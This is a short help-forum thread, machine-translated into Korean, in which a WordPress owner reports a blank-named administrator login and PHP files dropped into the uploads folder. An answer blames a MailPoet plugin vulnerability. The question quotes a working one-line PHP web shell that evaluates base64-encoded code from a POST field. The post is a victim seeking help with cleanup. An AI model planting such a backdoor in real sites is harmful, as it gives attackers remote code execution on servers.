Wordpress admin hacked

Question

wordfence 플러그인에서 사용자 (비어있는 사용자 이름)가 관리 영역에 로그인되었다는 이메일을 받았습니다.

A user with username " " who has administrator access signed in to your WordPress site. 

사용자에게는 데이터가 전혀없는 새로운 사용자가 있습니다. 이메일, 사용자 이름 등은 모두 비어 있습니다. 이것이 첫 번째 문제입니다. 두 번째 문제는

일부 PHP 파일

는/WP - 콘텐츠/업로드/2014/03 폴더하는 후 dir.php과 841rewb3v4x.php

에 업로드되었습니다 .... 아마이 하나의 결과입니다 후 dir.php 여기 http://www.unphp.net/decode/f845fc88a23b7a59b3f5c04ed09cf7b0/

누군가가 알고 있다면 찾을 수 있습니다 다른 파일이 PHP 코드를 인코딩 한

<?php eval(base64_decode($_POST['n358cfa']));?> 

다음 코드, 그 코드가 무엇을 가지고? 또한, 내가 그것에 대해해야 할 일은 무엇입니까? (나는 이미 사용자와 파일을 삭제했다).

감사합니다.

Answer 1

마지막으로이 문제에 대한 중요한 정보! 이것은 mailpoet plugin의 큰 취약점의 결과였습니다.

당신은 여기에서 자세한 내용을 볼 수 있습니다

http://blog.sucuri.net/2014/07/mailpoet-vulnerability-exploited-in-the-wild-breaking-thousands-of-wordpress-sites.html

http://blog.sucuri.net/2014/07/malware-infection-breaking-wordpress-sites.html